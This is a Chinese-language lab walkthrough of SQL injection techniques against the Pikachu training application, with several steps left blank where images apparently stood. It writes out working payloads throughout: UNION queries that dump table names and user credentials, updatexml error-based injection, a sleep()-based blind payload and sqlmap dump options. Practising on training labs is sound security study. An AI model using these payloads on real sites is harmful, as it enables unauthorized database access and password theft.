1、SQL注入
1.1 数字型sql注入
1)首先第一关这是post类型的,要抓包,在包里改


2)发送到repeater模块,进行修改,实现重复发包的过程,加一个单引号,发现报错,因为知道这是数字型的,所以我们使用order by 看看他有几行数据

3)我试了1,3发现是两行数据

4)接下来就是union select :id=2 union select 1,2

5)发现确实改变了,有回显的数据,然后就是开始查询了,利用mysql自带的数据库information_schema进行查询,首先是当前数据库的名字:id=2 union select 1,database()

6)然后是数据库中的表的名字:id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

7)然后是查列名:id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

8)然后就是获取下全部的username 和password:id=2 union select group_concat(username),group_concat(password) from users

9)利用解码工具,解码

1.2 字符型sql注入
1)第二关是属于get类型的注入,直接在url里修改就可以了。

2)基本过程都一样,先让他报错,再让他不报错


3)判断列数

4)获取表名

5)查询下message表列名

6)查表中内容

7)这是内容,之前做xss的时候写入的js代码

1.3 搜索型注入
1)和之前没啥区别,但是他用了%来进行模糊搜索,我们构造闭合的时候,只需要注意下就可以了,对于添加不添加%好像没啥意义。。
2)下面用一种比较直接的方式进行 or 1=1,这样就能查询全部数据

1.4 xx型注入
1)构造吧

2) or 1=1

1.4 报错注入
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0)

1.5 insert/update/delete类型注入
1)insert可以利用在注册界面,输入用户名,构造payload
abc‘ or updatexml(1,concat(0x7e,database()),0) or '

2)update类型主要应用在修改信息的页面,构造的payload和insert类型基本相同
3)delete类型的会用到bp,可以知道这是一个get类型的,然后把id=69的message给删除了

然后我们可以把它发送到repeater模块,构造payload,利用报错注入可以得到我们想要的,注意使用url编码

1.6 http header
注入点一般在cookie和 user-agent


1.7 盲注
1)布尔盲注
盲注就是看不到报错信息的那种,然后你就得自己慢慢猜,可以直接用暴力破解工具来进行,下面是payload:(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)=1

2)时间盲注
时间盲注比布尔盲注更狗,至少布尔盲注你对了人家会给你返回一些信息,但是时间盲注。。。

所以就需要我们使用一个函数:sleep(),可以测试,回答正确沉睡一会,错误直接返回

就像这样,那我们可以用来测试爆一爆数据库的名字
lucy' and if(substr(database(),1,1)='p',sleep(5),0)#

我们知道是pikachu的,所以我们还是猜对了这个。。
1.8 宽字节注入

1.9 sqlmap使用步骤

1)

2)获取当前数据库
--current-db

3)获取表 -D XX --tables

4)获取字段
-D XX数据库 -T表 --columns

5)然后可以获取下users表中的username 和 password
-D XX数据库 -T 表 -C字段 --dump

牛逼!